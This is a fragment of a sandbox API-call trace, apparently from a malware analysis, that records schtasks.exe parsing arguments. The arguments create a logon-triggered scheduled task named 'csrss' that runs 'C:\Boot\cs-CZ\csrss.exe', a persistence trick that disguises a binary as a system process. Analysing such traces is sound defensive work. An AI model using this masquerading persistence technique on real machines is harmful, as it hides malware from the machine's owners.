out: _Buffer="|m|") returned 3 [0068.399] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tn|") returned 4 [0068.399] lstrlenW (lpString="|m|") returned 3 [0068.399] lstrlenW (lpString="|tn|") returned 4 [0068.399] SetLastError (dwErrCode=0x490) [0068.399] lstrlenW (lpString="i") returned 1 [0068.399] lstrlenW (lpString="i") returned 1 [0068.399] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.399] lstrlenW (lpString="tn") returned 2 [0068.399] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.399] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|i|") returned 3 [0068.399] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tn|") returned 4 [0068.399] lstrlenW (lpString="|i|") returned 3 [0068.399] lstrlenW (lpString="|tn|") returned 4 [0068.399] SetLastError (dwErrCode=0x490) [0068.399] lstrlenW (lpString="tn") returned 2 [0068.399] lstrlenW (lpString="tn") returned 2 [0068.399] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.399] lstrlenW (lpString="tn") returned 2 [0068.399] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.399] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tn|") returned 4 [0068.399] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tn|") returned 4 [0068.399] lstrlenW (lpString="|tn|") returned 4 [0068.399] lstrlenW (lpString="|tn|") returned 4 [0068.399] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0068.400] SetLastError (dwErrCode=0x0) [0068.400] SetLastError (dwErrCode=0x0) [0068.400] lstrlenW (lpString="csrss") returned 5 [0068.400] lstrlenW (lpString="-/") returned 2 [0068.400] StrChrIW (lpStart="-/", wMatch=0x63) returned 0x0 [0068.400] SetLastError (dwErrCode=0x490) [0068.400] SetLastError (dwErrCode=0x490) [0068.400] SetLastError (dwErrCode=0x0) [0068.400] lstrlenW (lpString="csrss") returned 5 [0068.400] StrChrIW (lpStart="csrss", wMatch=0x3a) returned 0x0 [0068.400] SetLastError (dwErrCode=0x490) [0068.400] SetLastError (dwErrCode=0x0) [0068.400] lstrlenW (lpString="csrss") returned 5 [0068.400] SetLastError (dwErrCode=0x0) [0068.400] SetLastError (dwErrCode=0x0) [0068.400] lstrlenW (lpString="/sc") returned 3 [0068.400] lstrlenW (lpString="-/") returned 2 [0068.400] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0068.400] lstrlenW (lpString="create") returned 6 [0068.400] lstrlenW (lpString="create") returned 6 [0068.400] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.400] lstrlenW (lpString="sc") returned 2 [0068.400] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.400] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|create|") returned 8 [0068.400] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|sc|") returned 4 [0068.400] lstrlenW (lpString="|create|") returned 8 [0068.400] lstrlenW (lpString="|sc|") returned 4 [0068.400] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0068.400] SetLastError (dwErrCode=0x490) [0068.400] lstrlenW (lpString="?") returned 1 [0068.400] lstrlenW (lpString="?") returned 1 [0068.400] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.400] lstrlenW (lpString="sc") returned 2 [0068.401] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.401] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|?|") returned 3 [0068.401] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|sc|") returned 4 [0068.401] lstrlenW (lpString="|?|") returned 3 [0068.401] lstrlenW (lpString="|sc|") returned 4 [0068.401] SetLastError (dwErrCode=0x490) [0068.401] lstrlenW (lpString="s") returned 1 [0068.401] lstrlenW (lpString="s") returned 1 [0068.401] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.401] lstrlenW (lpString="sc") returned 2 [0068.401] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.401] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|s|") returned 3 [0068.401] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|sc|") returned 4 [0068.401] lstrlenW (lpString="|s|") returned 3 [0068.401] lstrlenW (lpString="|sc|") returned 4 [0068.401] SetLastError (dwErrCode=0x490) [0068.401] lstrlenW (lpString="u") returned 1 [0068.401] lstrlenW (lpString="u") returned 1 [0068.401] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.401] lstrlenW (lpString="sc") returned 2 [0068.401] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.401] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|u|") returned 3 [0068.401] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|sc|") returned 4 [0068.401] lstrlenW (lpString="|u|") returned 3 [0068.401] lstrlenW (lpString="|sc|") returned 4 [0068.401] SetLastError (dwErrCode=0x490) [0068.401] lstrlenW (lpString="p") returned 1 [0068.401] lstrlenW (lpString="p") returned 1 [0068.401] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.402] lstrlenW (lpString="sc") returned 2 [0068.402] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.402] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|p|") returned 3 [0068.402] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|sc|") returned 4 [0068.402] lstrlenW (lpString="|p|") returned 3 [0068.402] lstrlenW (lpString="|sc|") returned 4 [0068.402] SetLastError (dwErrCode=0x490) [0068.402] lstrlenW (lpString="ru") returned 2 [0068.402] lstrlenW (lpString="ru") returned 2 [0068.402] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.402] lstrlenW (lpString="sc") returned 2 [0068.402] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.402] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|ru|") returned 4 [0068.402] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|sc|") returned 4 [0068.402] lstrlenW (lpString="|ru|") returned 4 [0068.402] lstrlenW (lpString="|sc|") returned 4 [0068.402] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0068.402] SetLastError (dwErrCode=0x490) [0068.402] lstrlenW (lpString="rp") returned 2 [0068.402] lstrlenW (lpString="rp") returned 2 [0068.402] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.402] lstrlenW (lpString="sc") returned 2 [0068.402] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.402] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rp|") returned 4 [0068.402] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|sc|") returned 4 [0068.402] lstrlenW (lpString="|rp|") returned 4 [0068.402] lstrlenW (lpString="|sc|") returned 4 [0068.402] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0068.402] SetLastError (dwErrCode=0x490) [0068.403] lstrlenW (lpString="sc") returned 2 [0068.403] lstrlenW (lpString="sc") returned 2 [0068.403] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.403] lstrlenW (lpString="sc") returned 2 [0068.403] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.403] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|sc|") returned 4 [0068.403] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|sc|") returned 4 [0068.403] lstrlenW (lpString="|sc|") returned 4 [0068.403] lstrlenW (lpString="|sc|") returned 4 [0068.403] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0068.403] SetLastError (dwErrCode=0x0) [0068.403] SetLastError (dwErrCode=0x0) [0068.403] lstrlenW (lpString="ONLOGON") returned 7 [0068.403] lstrlenW (lpString="-/") returned 2 [0068.403] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0068.403] SetLastError (dwErrCode=0x490) [0068.403] SetLastError (dwErrCode=0x490) [0068.403] SetLastError (dwErrCode=0x0) [0068.403] lstrlenW (lpString="ONLOGON") returned 7 [0068.403] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0068.403] SetLastError (dwErrCode=0x490) [0068.403] SetLastError (dwErrCode=0x0) [0068.403] GetProcessHeap () returned 0x240000 [0068.403] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25e540 [0068.403] _memicmp (_Buf1=0x25e540, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.403] lstrlenW (lpString="ONLOGON") returned 7 [0068.403] GetProcessHeap () returned 0x240000 [0068.403] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x10) returned 0x25e560 [0068.403] lstrlenW (lpString="ONLOGON") returned 7 [0068.403] lstrlenW (lpString=" \x09") returned 2 [0068.403] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0068.403] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0068.403] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0068.403] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0068.404] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0068.404] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0068.404] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0068.404] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0068.404] GetLastError () returned 0x0 [0068.404] lstrlenW (lpString="ONLOGON") returned 7 [0068.404] lstrlenW (lpString="ONLOGON") returned 7 [0068.404] SetLastError (dwErrCode=0x0) [0068.404] SetLastError (dwErrCode=0x0) [0068.404] lstrlenW (lpString="/tr") returned 3 [0068.404] lstrlenW (lpString="-/") returned 2 [0068.404] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0068.404] lstrlenW (lpString="create") returned 6 [0068.404] lstrlenW (lpString="create") returned 6 [0068.404] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.404] lstrlenW (lpString="tr") returned 2 [0068.404] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.404] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|create|") returned 8 [0068.404] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tr|") returned 4 [0068.404] lstrlenW (lpString="|create|") returned 8 [0068.404] lstrlenW (lpString="|tr|") returned 4 [0068.404] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0068.404] SetLastError (dwErrCode=0x490) [0068.404] lstrlenW (lpString="?") returned 1 [0068.404] lstrlenW (lpString="?") returned 1 [0068.404] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.404] lstrlenW (lpString="tr") returned 2 [0068.404] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.404] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|?|") returned 3 [0068.405] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tr|") returned 4 [0068.405] lstrlenW (lpString="|?|") returned 3 [0068.405] lstrlenW (lpString="|tr|") returned 4 [0068.405] SetLastError (dwErrCode=0x490) [0068.405] lstrlenW (lpString="s") returned 1 [0068.405] lstrlenW (lpString="s") returned 1 [0068.405] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.405] lstrlenW (lpString="tr") returned 2 [0068.405] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.405] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|s|") returned 3 [0068.405] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tr|") returned 4 [0068.405] lstrlenW (lpString="|s|") returned 3 [0068.405] lstrlenW (lpString="|tr|") returned 4 [0068.405] SetLastError (dwErrCode=0x490) [0068.405] lstrlenW (lpString="u") returned 1 [0068.405] lstrlenW (lpString="u") returned 1 [0068.405] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.405] lstrlenW (lpString="tr") returned 2 [0068.405] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.405] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|u|") returned 3 [0068.405] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tr|") returned 4 [0068.405] lstrlenW (lpString="|u|") returned 3 [0068.405] lstrlenW (lpString="|tr|") returned 4 [0068.405] SetLastError (dwErrCode=0x490) [0068.405] lstrlenW (lpString="p") returned 1 [0068.405] lstrlenW (lpString="p") returned 1 [0068.405] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.406] lstrlenW (lpString="tr") returned 2 [0068.406] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.406] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|p|") returned 3 [0068.406] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tr|") returned 4 [0068.406] lstrlenW (lpString="|p|") returned 3 [0068.406] lstrlenW (lpString="|tr|") returned 4 [0068.406] SetLastError (dwErrCode=0x490) [0068.406] lstrlenW (lpString="ru") returned 2 [0068.406] lstrlenW (lpString="ru") returned 2 [0068.406] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.406] lstrlenW (lpString="tr") returned 2 [0068.406] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.406] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|ru|") returned 4 [0068.406] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tr|") returned 4 [0068.406] lstrlenW (lpString="|ru|") returned 4 [0068.406] lstrlenW (lpString="|tr|") returned 4 [0068.406] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0068.406] SetLastError (dwErrCode=0x490) [0068.406] lstrlenW (lpString="rp") returned 2 [0068.406] lstrlenW (lpString="rp") returned 2 [0068.406] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.406] lstrlenW (lpString="tr") returned 2 [0068.406] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.406] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rp|") returned 4 [0068.406] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tr|") returned 4 [0068.406] lstrlenW (lpString="|rp|") returned 4 [0068.406] lstrlenW (lpString="|tr|") returned 4 [0068.406] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0068.406] SetLastError (dwErrCode=0x490) [0068.407] lstrlenW (lpString="sc") returned 2 [0068.407] lstrlenW (lpString="sc") returned 2 [0068.407] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.407] lstrlenW (lpString="tr") returned 2 [0068.407] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.407] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|sc|") returned 4 [0068.407] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tr|") returned 4 [0068.407] lstrlenW (lpString="|sc|") returned 4 [0068.407] lstrlenW (lpString="|tr|") returned 4 [0068.407] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0068.407] SetLastError (dwErrCode=0x490) [0068.407] lstrlenW (lpString="mo") returned 2 [0068.407] lstrlenW (lpString="mo") returned 2 [0068.407] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.407] lstrlenW (lpString="tr") returned 2 [0068.407] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.407] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|mo|") returned 4 [0068.407] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tr|") returned 4 [0068.407] lstrlenW (lpString="|mo|") returned 4 [0068.407] lstrlenW (lpString="|tr|") returned 4 [0068.407] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0068.407] SetLastError (dwErrCode=0x490) [0068.407] lstrlenW (lpString="d") returned 1 [0068.407] lstrlenW (lpString="d") returned 1 [0068.407] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.407] lstrlenW (lpString="tr") returned 2 [0068.407] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.407] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|d|") returned 3 [0068.407] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tr|") returned 4 [0068.408] lstrlenW (lpString="|d|") returned 3 [0068.408] lstrlenW (lpString="|tr|") returned 4 [0068.408] SetLastError (dwErrCode=0x490) [0068.408] lstrlenW (lpString="m") returned 1 [0068.408] lstrlenW (lpString="m") returned 1 [0068.408] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.408] lstrlenW (lpString="tr") returned 2 [0068.408] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.408] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|m|") returned 3 [0068.408] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tr|") returned 4 [0068.408] lstrlenW (lpString="|m|") returned 3 [0068.408] lstrlenW (lpString="|tr|") returned 4 [0068.408] SetLastError (dwErrCode=0x490) [0068.408] lstrlenW (lpString="i") returned 1 [0068.408] lstrlenW (lpString="i") returned 1 [0068.408] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.408] lstrlenW (lpString="tr") returned 2 [0068.408] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.408] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|i|") returned 3 [0068.408] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tr|") returned 4 [0068.408] lstrlenW (lpString="|i|") returned 3 [0068.408] lstrlenW (lpString="|tr|") returned 4 [0068.408] SetLastError (dwErrCode=0x490) [0068.408] lstrlenW (lpString="tn") returned 2 [0068.408] lstrlenW (lpString="tn") returned 2 [0068.408] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.408] lstrlenW (lpString="tr") returned 2 [0068.408] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.408] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tn|") returned 4 [0068.408] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tr|") returned 4 [0068.408] lstrlenW (lpString="|tn|") returned 4 [0068.409] lstrlenW (lpString="|tr|") returned 4 [0068.409] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0068.409] SetLastError (dwErrCode=0x490) [0068.409] lstrlenW (lpString="tr") returned 2 [0068.409] lstrlenW (lpString="tr") returned 2 [0068.409] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.409] lstrlenW (lpString="tr") returned 2 [0068.409] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.409] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tr|") returned 4 [0068.409] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tr|") returned 4 [0068.409] lstrlenW (lpString="|tr|") returned 4 [0068.409] lstrlenW (lpString="|tr|") returned 4 [0068.409] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0068.409] SetLastError (dwErrCode=0x0) [0068.409] SetLastError (dwErrCode=0x0) [0068.409] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0068.409] lstrlenW (lpString="-/") returned 2 [0068.409] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0068.409] SetLastError (dwErrCode=0x490) [0068.409] SetLastError (dwErrCode=0x490) [0068.409] SetLastError (dwErrCode=0x0) [0068.409] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0068.409] StrChrIW (lpStart="'C:\\Boot\\cs-CZ\\csrss.exe'", wMatch=0x3a) returned=":\\Boot\\cs-CZ\\csrss.exe'" [0068.409] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0068.409] _memicmp (_Buf1=0x25d2f0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.409] _memicmp (_Buf1=0x25e4e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.409] SetLastError (dwErrCode=0x7a) [0068.409] SetLastError (dwErrCode=0x0) [0068.409] SetLastError (dwErrCode=0x0) [0068.409] lstrlenW (lpString="'C") returned 2 [0068.409] lstrlenW (lpString="-/") returned 2 [0068.409] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0068.410] SetLastError (dwErrCode=0x490) [0068.410] SetLastError (dwErrCode=0x490) [0068.410] SetLastError (dwErrCode=0x0) [0068.410] _memicmp (_Buf1=0x25e540, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.410] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0068.410] GetProcessHeap () returned 0x240000 [0068.410] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25e560) returned 1 [0068.410] GetProcessHeap () returned 0x240000 [0068.410] RtlReAllocateHeap (Heap=0x240000, Flags=0xc, Ptr=0x25e560, Size=0x34) returned 0x257c30 [0068.410] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0068.410] lstrlenW (lpString=" \x09") returned 2 [0068.410] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0068.410] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0068.410] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0068.410] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0068.410] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0068.410] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0068.410] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0068.410] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0068.410] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0068.410] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0068.410] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0068.410] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0068.410] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0068.410] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0068.410] StrChrW (lpStart=" \x09", wMatch=0x5a) returned 0x0 [0068.410] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0068.410] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0068.410] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0068.410] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0068.410] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0068.410] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0068.410] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0068.411] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0068.411] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0068.411] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0068.411] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0068.411] GetLastError () returned 0x0 [0068.411] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0068.411] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0068.411] SetLastError (dwErrCode=0x0) [0068.411] SetLastError (dwErrCode=0x0) [0068.411] lstrlenW (lpString="/rl") returned 3 [0068.411] lstrlenW (lpString="-/") returned 2 [0068.411] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0068.411] lstrlenW (lpString="create") returned 6 [0068.411] lstrlenW (lpString="create") returned 6 [0068.411] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.411] lstrlenW (lpString="rl") returned 2 [0068.411] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.411] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|create|") returned 8 [0068.411] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rl|") returned 4 [0068.411] lstrlenW (lpString="|create|") returned 8 [0068.411] lstrlenW (lpString="|rl|") returned 4 [0068.411] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0068.411] SetLastError (dwErrCode=0x490) [0068.411] lstrlenW (lpString="?") returned 1 [0068.411] lstrlenW 